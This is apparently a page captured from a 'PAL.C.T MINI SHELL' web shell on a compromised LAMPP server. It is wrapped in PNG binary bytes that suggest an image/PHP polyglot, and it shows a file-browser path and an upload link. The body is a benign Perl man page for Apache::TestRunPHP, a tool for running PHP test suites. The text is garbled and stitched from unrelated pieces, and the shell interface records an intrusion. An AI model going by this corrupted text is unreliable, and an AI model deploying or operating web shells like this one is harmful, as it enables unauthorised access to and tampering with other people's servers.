php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/man/man3/
upload
files >> //opt/lampp/share/man/man3/Apache::TestRunPHP.3

.\" Automatically generated by Pod::Man 2.25 (Pod::Simple 3.20)
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  \*(C+ will
.\" give a nicer C++.  Capital omega is used to do unbreakable dashes and
.\" therefore won't be available.  \*(C` and \*(C' expand to `' in nroff,
.\" nothing in troff, for use with C<>.
.tr \(*W-
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" Escape single quotes in literal strings from groff's Unicode transform.
.ie \n(.g .ds Aq \(aq
.el       .ds Aq '
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.ie \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.el \{\
.    de IX
..
.\}
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "Apache::TestRunPHP 3"
.TH Apache::TestRunPHP 3 "2013-04-16" "perl v5.16.3" "User Contributed Perl Documentation"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.if n .ad l
.nh
.SH "NAME"
Apache::TestRunPHP \- configure and run a PHP\-based test suite
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 2
\&  use Apache::TestRunPHP;
\&  Apache::TestRunPHP\->new\->run(@ARGV);
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
The \f(CW\*(C`Apache::TestRunPHP\*(C'\fR package controls the configuration and
running of the test suite for PHP-based tests.  It's a subclass
of \f(CW\*(C`Apache::TestRun\*(C'\fR and similar in function to \f(CW\*(C`Apache::TestRunPerl\*(C'\fR.
.PP
Refer to the \f(CW\*(C`Apache::TestRun\*(C'\fR manpage for information on the
available \s-1API\s0.
.SH "EXAMPLE"
.IX Header "EXAMPLE"
\&\f(CW\*(C`TestRunPHP\*(C'\fR works almost identially to \f(CW\*(C`TestRunPerl\*(C'\fR, but in
case you are new to \f(CW\*(C`Apache\-Test\*(C'\fR here is a quick getting started
guide.  be sure to see the links at the end of this document for
places to find additional details.
.PP
because \f(CW\*(C`Apache\-Test\*(C'\fR is a Perl-based testing framework we start
from a \f(CW\*(C`Makefile.PL\*(C'\fR, which should have the following lines (in
addition to the standard \f(CW\*(C`Makefile.PL\*(C'\fR parts):
.PP
.Vb 2
\&  use Apache::TestMM qw(test clean);
\&  use Apache::TestRunPHP ();
\&
\&  Apache::TestMM::filter_args();
\&
\&  Apache::TestRunPHP\->generate_script();
.Ve
.PP
\&\f(CW\*(C`generate_script()\*(C'\fR will create a script named \f(CW\*(C`t/TEST\*(C'\fR, the gateway
to the Perl testing harness and what is invoked when you call
\&\f(CW\*(C`make test\*(C'\fR.  \f(CW\*(C`filter_args()\*(C'\fR accepts some \f(CW\*(C`Apache::Test\*(C'\fR\-specific
arguments and passes them along.  for example, to point to a specific
\&\f(CW\*(C`httpd\*(C'\fR installation you would invoke \f(CW\*(C`Makefile.PL\*(C'\fR as follows
.PP
.Vb 1
\&  $ perl Makefile.PL \-httpd /my/local/apache/bin/httpd
.Ve
.PP
and \f(CW\*(C`/my/local/apache/bin/httpd\*(C'\fR will be propagated throughout the
rest of the process.  note that \s-1PHP\s0 needs to be active within Apache
prior to configuring the test framework as shown above, either by
virtue of \s-1PHP\s0 being compiled into the \f(CW\*(C`httpd\*(C'\fR binary statically or
through an active \f(CW\*(C`LoadModule\*(C'\fR statement within the configuration
located in \f(CW\*(C`/my/local/apache/conf/httpd.conf\*(C'\fR.  Other required modules
are the (very common) mod_alias and mod_env.
.PP
now, like with \f(CW\*(C`Apache::TestRun\*(C'\fR and \f(CW\*(C`Apache::TestRunPerl\*(C'\fR, you can
place client-side Perl test scripts under \f(CW\*(C`t/\*(C'\fR, such as \f(CW\*(C`t/01basic.t\*(C'\fR,
and \f(CW\*(C`Apache\-Test\*(C'\fR will run these scripts when you call \f(CW\*(C`make test\*(C'\fR.
however, what makes \f(CW\*(C`Apache::TestRunPHP\*(C'\fR unique is some added magic
specifically tailored to a \s-1PHP\s0 environment.  here are the mechanics.
.PP
\&\f(CW\*(C`Apache::TestRunPHP\*(C'\fR will look for \s-1PHP\s0 test scripts in that match
the following pattern
.PP
.Vb 1
\&  t/response/TestFoo/bar.php
.Ve
.PP
where \f(CW\*(C`Foo\*(C'\fR and \f(CW\*(C`bar\*(C'\fR can be anything you like, and \f(CW\*(C`t/response/Test*\*(C'\fR
is case sensitive.  when this format is adhered to, \f(CW\*(C`Apache::TestRunPHP\*(C'\fR
will create an associated Perl test script called \f(CW\*(C`t/foo/bar.t\*(C'\fR, which
will be executed when you call \f(CW\*(C`make test\*(C'\fR.  all \f(CW\*(C`bar.t\*(C'\fR does is issue
a simple \s-1GET\s0 to \f(CW\*(C`bar.php\*(C'\fR, leaving the actual testing to \f(CW\*(C`bar.php\*(C'\fR.  in
essence, you can forget that \f(CW\*(C`bar.t\*(C'\fR even exists.
.PP
what does \f(CW\*(C`bar.php\*(C'\fR look like?  here is an example:
.PP
.Vb 4
\&  <?php
\&    print "1..1\en";
\&    print "ok 1\en"
\&  ?>
.Ve
.PP
if it looks odd, that's ok because it is.  I could explain to you exactly
what this means, but it isn't important to understand the gory details.
instead, it is sufficient to understand that when \f(CW\*(C`Apache::Test\*(C'\fR calls
\&\f(CW\*(C`bar.php\*(C'\fR it feeds the results directly to \f(CW\*(C`Test::Harness\*(C'\fR, a module
that comes with every Perl installation, and \f(CW\*(C`Test::Harness\*(C'\fR expects
what it receives to be formated in a very specific way.  by itself, all
of this is pretty useless, so \f(CW\*(C`Apache::Test\*(C'\fR provides \s-1PHP\s0 testers with
something much better.  here is a much better example:
.PP
.Vb 7
\&  <?php
\&    # import the Test::More emulation layer
\&    # see
\&    #   http://search.cpan.org/dist/Test\-Simple/lib/Test/More.pm
\&    # for Perl\*(Aqs documentation \- these functions should behave
\&    # in the same way
\&    require \*(Aqtest\-more.php\*(Aq;
\&
\&    # plan() the number of tests
\&    plan(6);
\&
\&    # call ok() for each test you plan
\&    ok (\*(Aqfoo\*(Aq == \*(Aqfoo\*(Aq, \*(Aqfoo is equal to foo\*(Aq);
\&    ok (\*(Aqfoo\*(Aq != \*(Aqfoo\*(Aq, \*(Aqfoo is not equal to foo\*(Aq);
\&
\&    # ok() can be other things as well
\&    is (\*(Aqbar\*(Aq, \*(Aqbar\*(Aq, \*(Aqbar is bar\*(Aq);
\&    is (\*(Aqbaz\*(Aq, \*(Aqbar\*(Aq, \*(Aqbaz is baz\*(Aq);
\&    isnt (\*(Aqbar\*(Aq, \*(Aqbeer\*(Aq, \*(Aqbar is not beer\*(Aq);
\&    like (\*(Aqbar\*(Aq, \*(Aq/ar$/\*(Aq, \*(Aqbar matches ar$\*(Aq);
\&
\&    diag("printing some debugging information");
\&
\&    # whoops! one too many tests.  I wonder what will happen...
\&    is (\*(Aqbiff\*(Aq, \*(Aqbiff\*(Aq, \*(Aqbaz is a baz\*(Aq);
\&  ?>
.Ve
.PP
the include library \f(CW\*(C`test\-more.php\*(C'\fR is automatically generated by
\&\f(CW\*(C`Apache::TestConfigPHP\*(C'\fR and configurations tweaked in such a
a way that your \s-1PHP\s0 scripts can find it without issue.  the
functions provided by \f(CW\*(C`test\-more.php\*(C'\fR are equivalent in name and
function to those in \f(CW\*(C`Test::More\*(C'\fR, a standard Perl testing
library, so you can see that manpage for details on the syntax
and functionality of each.
.PP
at this point, we have enough in place to run some tests from
PHP-land \- a \f(CW\*(C`Makefile.PL\*(C'\fR to configure Apache for us, and
a \s-1PHP\s0 script in \f(CW\*(C`t/response/TestFoo/bar.php\*(C'\fR to send some
results out to the testing engine.  issuing \f(CW\*(C`make test\*(C'\fR
would start Apache, issue the request to \f(CW\*(C`bar.php\*(C'\fR, generate
a report, and shut down Apache.  the report would look like
something like this after running the tests in verbose mode
(eg \f(CW\*(C`make test TEST_VERBOSE=1\*(C'\fR):
.PP
.Vb 10
\&  t/php/bar....1..6
\&  ok 1 \- foo is equal to foo
\&  not ok 2 \- foo is not equal to foo
\&  #     Failed test (/src/devel/perl\-php\-test/t/response/TestFoo/bar.php at line 13)
\&  ok 3 \- bar is bar
\&  not ok 4 \- baz is baz
\&  #     Failed test (/src/devel/perl\-php\-test/t/response/TestFoo/bar.php at line 17)
\&  #           got: \*(Aqbaz\*(Aq
\&  #      expected: \*(Aqbar\*(Aq
\&  ok 5 \- bar is not beer
\&  ok 6 \- bar matches ar$
\&  # printing some debugging information
\&  ok 7 \- baz is a baz
\&  FAILED tests 2, 4, 7
\&          Failed 3/6 tests, 50.00% okay
\&  Failed Test Stat Wstat Total Fail  Failed  List of Failed
\&  \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-
\&  t/php/bar.t                6    3  50.00%  2 4 7
\&  Failed 1/1 test scripts, 0.00% okay. 1/6 subtests failed, 83.33% okay.
.Ve
.PP
note that the actual test file that was run was \f(CW\*(C`t/php/bar.t\*(C'\fR.  this
file is autogenerated based on the \f(CW\*(C`t/response/TestFoo/bar.php\*(C'\fR
pattern of your \s-1PHP\s0 script.  \f(CW\*(C`t/php/bar.t\*(C'\fR happens to be written in
Perl, but you really don't need to worry about it too much.
.PP
as an interesting aside, if you are using perl\-5.8.3 or later you can
actually create your own \f(CW\*(C`t/foo.php\*(C'\fR client-side scripts and they
will be run via php (using our \f(CW\*(C`php.ini\*(C'\fR).  but more on that later...
.SH "SEE ALSO"
.IX Header "SEE ALSO"
the best source of information about using Apache-Test with
\&\s-1PHP\s0 (at this time) is probably the talk given at ApacheCon 2004
(<http://xrl.us/phpperl>), as well as the code from the talk
(<http://xrl.us/phpperlcode>).  there is also the online tutorial
<http://perl.apache.org/docs/general/testing/testing.html>
which has all of the mod_perl\-specific syntax and features have been
ported to \s-1PHP\s0 with this class.
.SH "AUTHOR"
.IX Header "AUTHOR"
\&\f(CW\*(C`Apache\-Test\*(C'\fR is a community effort, maintained by a group of
dedicated volunteers.
.PP
Questions can be asked at the test-dev <at> httpd.apache.org list
For more information see: http://httpd.apache.org/test/.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`